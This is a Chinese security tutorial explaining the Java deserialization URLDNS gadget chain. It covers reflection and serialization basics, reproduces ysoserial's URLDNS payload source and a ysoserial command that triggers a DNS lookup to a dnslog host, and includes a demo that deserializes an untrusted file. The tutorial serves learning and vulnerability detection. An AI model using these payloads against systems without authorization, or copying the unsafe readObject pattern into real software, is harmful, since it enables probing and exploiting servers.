Java反序列化之URLDNS从0到1

admin 2024年10月14日16:21:12评论9 views字数 8733阅读29分6秒阅读模式

声明:本篇文章作者YDJA,本文属i春秋原创奖励计划,未经许可禁止转载。

https://bbs.ichunqiu.com/thread-63600-1-1.html

前言

之前对java反序列化漏洞一直都是停留在poc或者工具利用的阶段,最近决定想深究一下其中的原理,自我提升一下,本篇围绕URLDNS利用链,记录一下学习过程。

正文

unsetunset0x01 基础知识unsetunset

1.1 Java反射

Java的反射机制可以在运行时动态地获取类的信息调用对象的方法访问或修改对象的属性,而不需要在编译时就确定这些操作。通过使用反射,可以在运行时检查类、实例化对象、调用方法和访问字段,从而实现代码的动态性和灵活性。

要使用反射,需要引入 java.lang.reflect 包。下面是一些常用的反射方法:

1.1.1 获取 Class 对象

  • 通过类名获取 Class 对象:Class<?cls = Class.forName("com.example.MyClass");
  • 通过实例对象获取 Class 对象:Class<?cls = obj.getClass();

1.1.2 创建对象

  • 通过无参构造函数创建对象:Object obj = cls.newInstance();
  • 通过有参构造函数创建对象:首先获取相应的构造函数对象,然后调用 newInstance() 方法。

1.1.3 访问字段

  • 获取字段对象:Field field = cls.getDeclaredField("fieldName");
  • 设置字段的值:field.set(obj, value);
  • 获取字段的值:Object value = field.get(obj);

1.1.4 调用方法

  • 获取方法对象:Method method = cls.getDeclaredMethod("methodName", argTypes);
  • 调用静态方法:method.invoke(null, args);
  • 调用实例方法:method.invoke(obj, args);

1.1.5 修改访问权限

  • 设置字段或方法的可访问性(用于访问私有方法或属性):field.setAccessible(true); 或 method.setAccessible(true);

一个简单的反射示例:

//通过Constructor类,可以获取类构造函数以创建类的实例  
import java.lang.reflect.Constructor;  
  
//通过Field类,可以访问和修改类的字段的值  
import java.lang.reflect.Field;  
  
//通过Method类的invoke方法,可以调用类的方法  
import java.lang.reflect.Method;  
  
class User {  
private String name;  
  
public User() {  
this.name = "YDJ";  
}  
  
public void Getname() {  
System.out.println("user is "+name);  
}  
}  
  
public class ReflectionDemo {  
public static void main(String[] args) throws Exception {  
// 获取类的信息  
Class<? user = User.class;  
  
// 获取构造函数并创建实例  
Constructor<? constructor = user.getConstructor();  
Object userobject = constructor.newInstance();  
  
// 调用方法  
Method method1 = user.getDeclaredMethod("Getname");  
method1.invoke(userobject);  
  
// 访问和修改字段的值  
Field field = user.getDeclaredField("name");  
//设置类中私有属性为可访问  
field.setAccessible(true);  
field.set(userobject, "admin");  
  
// 调用方法  
Method method2 = user.getDeclaredMethod("Getname");  
method2.invoke(userobject);  
}  
}  

Java反序列化之URLDNS从0到1

unsetunset0x02 漏洞原理unsetunset

2.1 Java序列化与反序列化

为了方便对象的存储和传输,序列化应需而生。Java序列化是将Java对象转换成字节流的过程。反序列化则是通过读取字节流并将其解析为对象的过程。

序列化需要遵循以下原则 :

  • 首先,要将要序列化的Java类实现Serializable接口。该接口没有任何方法,只是为了标识类已经准备好进行序列化
  • 使用ObjectOutputStream对象将Java对象序列化为字节流。如果需要将其写入文件,可以使用FileOutputStream将数据写入文件中

在原生Java中,分别使用wirteObject与readObject进行序列化与反序列化,下面是一个简单的示例:

import java.io.*;  
  
public class SerializationDemo {  
  
// 用户类,实现 Serializable 接口  
static class User implements Serializable {  
private static final long serialVersionUID = 1L;  
  
private String name;  
private int age;  
  
public User(String name, int age) {  
this.name = name;  
this.age = age;  
}  
  
public String getName() {  
return name;  
}  
  
public int getAge() {  
return age;  
}  
}  
  
public static void main(String[] args) {  
  
User user = new User("YDJ", 18);  
  
// 序列化  
try (FileOutputStream fileOut = new FileOutputStream("user.ser");  
ObjectOutputStream objectOut = new ObjectOutputStream(fileOut)) {  
  
objectOut.writeObject(user);  
System.out.println("user对象已成功序列化到文件");  
  
} catch (Exception ex) {  
ex.printStackTrace();  
}  
  
// 反序列化  
try (FileInputStream fileIn = new FileInputStream("user.ser");  
ObjectInputStream objectIn = new ObjectInputStream(fileIn)) {  
  
User deserializedUser = (User) objectIn.readObject();  
System.out.println("从文件中反序列化user对象:");  
System.out.println("name:" + deserializedUser.getName());  
System.out.println("age:" + deserializedUser.getAge());  
  
} catch (Exception ex) {  
ex.printStackTrace();  
}  
}  
}  
Java反序列化之URLDNS从0到1

这里我们重点关注readObject方法,因为readObject方法一旦被重写,反序列化该类时使用的便是重写后的readObject方法。如果该方法若是书写不当的话就有可能引发恶意代码的执行

我们在上面反序列化例子的基础上重写User类中继承于Serializable接口的readObject类,加上经典的计算器弹窗代码

Java反序列化之URLDNS从0到1

然后再次运行代码,可以看到成功弹窗了

Java反序列化之URLDNS从0到1

然而实际情况中,经过多次测试的项目代码很少会出现这么简单直接的安全问题。大部分的漏洞点还是出现在代码的逻辑问题上,也就是我们常说的:每一段代码单独拿出来看其实是没有什么问题的,但是将他们组合到一起可能就会产生逻辑漏洞。安全人员利用在反序列化的过程中被重写的一些方法和可控属性,最终找到能够执行恶意代码或者命令的攻击方式,我们通常称之为漏洞利用链

unsetunset0x03工具unsetunset

工欲善其事必先利其器,善于利用优秀的工具并不是一个人懒惰的表现,而是会使我们在漏洞分析利用的过程中如虎添翼

3.1 ysoserial

  • 作者:Chris Frohoff
  • Github链接:https://github.com/frohoff/ysoserial
  • 简介:该工具是作者在提出CC链的时候放出的,它可以非常方便快捷地生成各种常见的 Java 序列化 payload,用于测试和利用反序列化漏洞
  • 用例:

java -jar ysoserial-all.jar URLDNS "http://hgkj4n.dnslog.cn" payload.ser

通过分析工具的源码我们往往能从中get到作者对于漏洞的独特理解

unsetunset0x04 入门链unsetunset

4.1 URLDNS链

该链不具备攻击性质,只对指定的URL发送DNS查询,不做其他操作,并且对jdk版本没有限制,所以通常用来检测是否有反序列化漏洞

先来看看ysoserial里生成payload的示例

Java反序列化之URLDNS从0到1
package ysoserial.payloads;  
  
import java.io.IOException;  
import java.net.InetAddress;  
import java.net.URLConnection;  
import java.net.URLStreamHandler;  
import java.util.HashMap;  
import java.net.URL;  
  
import ysoserial.payloads.annotation.Authors;  
import ysoserial.payloads.annotation.Dependencies;  
import ysoserial.payloads.annotation.PayloadTest;  
import ysoserial.payloads.util.PayloadRunner;  
import ysoserial.payloads.util.Reflections;  
  
  
/**  
* A blog post with more details about this gadget chain is at the url below:  
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/  
*  
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog  
* posting describing how he modified the Java Commons Collections gadget  
in ysoserial to open a URL. This takes the same idea, but eliminates  
* the dependency on Commons Collections and does a DNS lookup with just  
* standard JDK classes.  
*  
* The Java URL class has an interesting property on its equals and  
* hashCode methods. The URL class will, as a side effect, do a DNS lookup  
* during a comparison (either equals or hashCode).  
*  
* As part of deserialization, HashMap calls hashCode on each key that it  
* deserializes, so using a Java URL object as a serialized key allows  
* it to trigger a DNS lookup.  
*  
* Gadget Chain:  
* HashMap.readObject()  
* HashMap.putVal()  
* HashMap.hash()  
* URL.hashCode()  
*  
*  
*/  
@SuppressWarnings({ "rawtypes""unchecked" })  
@PayloadTest(skip = "true")  
@Dependencies()  
@Authors({ Authors.GEBL })  
public class URLDNS implements ObjectPayload<Object{  
  
public Object getObject(final String url) throws Exception {  
  
//Avoid DNS resolution during payload creation  
//Since the field <codejava.net.URL.handler</code is transient, it will not be part of the serialized payload.  
URLStreamHandler handler = new SilentURLStreamHandler();  
  
HashMap ht = new HashMap(); // HashMap that will contain the URL  
URL u = new URL(null, url, handler); // URL to use as the Key  
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.  
  
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.  
  
return ht;  
}  
  
public static void main(final String[] args) throws Exception {  
PayloadRunner.run(URLDNS.class, args);  
}  
  
/**  
* <pThis instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.  
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior  
  
*  
  
* <pIf the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the  
  
*/  
static class SilentURLStreamHandler extends URLStreamHandler {  
  
protected URLConnection openConnection(URL u) throws IOException {  
return null;  
}  
  
protected synchronized InetAddress getHostAddress(URL u) {  
return null;  
}  
}  
}  

作者在示例的注释中也给出了链条的调用

Java反序列化之URLDNS从0到1

我们直接根据链条正序分析

反序列化的触发点在HashMap类,

我们跟进看一下

Java反序列化之URLDNS从0到1

可以看到,继承了Serializable接口,

满足序列化的条件

继续跟进该类的readObject方法

Java反序列化之URLDNS从0到1

方法的最后读取了反序列化之后的键和值,

并使用 putVal 方法将键值对放入 HashMap 中,

而这个过程中又调用了该类的hash方法

Java反序列化之URLDNS从0到1

继续跟进hash方法,发现其调用了key对象的hashCode方法

Java反序列化之URLDNS从0到1

而key则是URL类的实例化对象

跟进该类的hashCode方法,

发现其调用了另一个对象的hashCode方法

Java反序列化之URLDNS从0到1

这里需要注意的是,

我们需要绕过一个if判断条件

Java反序列化之URLDNS从0到1

可以看到hashCode变量初始值为-1,而在我们序列化的时候就会执行一遍hashCode函数,返回hashCode值就从-1变成了URL的字符串,等到我们反序列化的时候,就无法绕过if语句,所以这里我们需要将hashCode值进行控制修改,就利用到了前面提到的反射的知识,我们可以回过头看一下ysoserial生成payload的代码

Java反序列化之URLDNS从0到1

这里就不过多解释了,我们接着上面的继续分析

跟进handler对象,

发现它是通过URLStreamHandler类修饰的

Java反序列化之URLDNS从0到1

所以我们进去该类看一下它的hashCode方法

Java反序列化之URLDNS从0到1

跟进getHostAddress方法,

发现其调用了InetAddress对象的getByName方法

Java反序列化之URLDNS从0到1

该方法可以根据传入的主机名查询IP,

触发一次dns查询,至此链条结束

所以更详细的利用链应该是:

HashMap.readObject()  
HashMap.putVal()  
HashMap.hash()  
URL.hashCode()  
URLStreamHandler.hashCode()  
InetAddress.getByName()  

通过ysoserial工具我们可以很方便的生成payload

Java反序列化之URLDNS从0到1

然后编写一个简单的反序列化漏洞demo来验证利用链

public class URLDNSTest {  
public static void main(String[] args) throws Exception {  
  
FileInputStream fis = new FileInputStream("1.ser");  
ObjectInputStream oit = new ObjectInputStream(fis);  
Object u = oit.readObject();  
System.out.println(u);  
}  
}  

不知道为什么本地打不通,

猜测是dns服务器的问题,我上vps打

Java反序列化之URLDNS从0到1

成功在ceye上收到dns请求

Java反序列化之URLDNS从0到1

最后我们再回过头来看一下ysoserial中payload的生成过程:

先是通过payload加载类将我们指定的url传入URLDNS的getObject方法,方法中创建了一个HashMap对象ht,和URL对象u(处理url),通过put方法将URL对象u和传入的url分别作为键和值存储与HashMap对象ht中(URL对象做为键正是触发DNS解析的关键)。

再利用反射将序列化后被修改的hashCode值重置为-1(原因上面有说),最后返回HashMap对象ht,并在payload加载类中将其序列化。

最后我们的Demo将其反序列化时调用了重写后的readObject方法进而启动整个链条达到最终的DNS解析

总结

一顿分析下来感觉对反序列化的理解清晰了不少,但是还是感觉java漏洞挺难的,反正学习过程中一定要边看教程边动手实操分析,这样才能快速发现并解决问题。URLDNS之后还有CC链、CB链等,长路漫漫,仍需努力!

  结尾

Java反序列化之URLDNS从0到1

原文始发于微信公众号(赛搏思安全实验室):Java反序列化之URLDNS从0到1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月14日16:21:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化之URLDNS从0到1https://cn-sec.com/archives/3265997.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息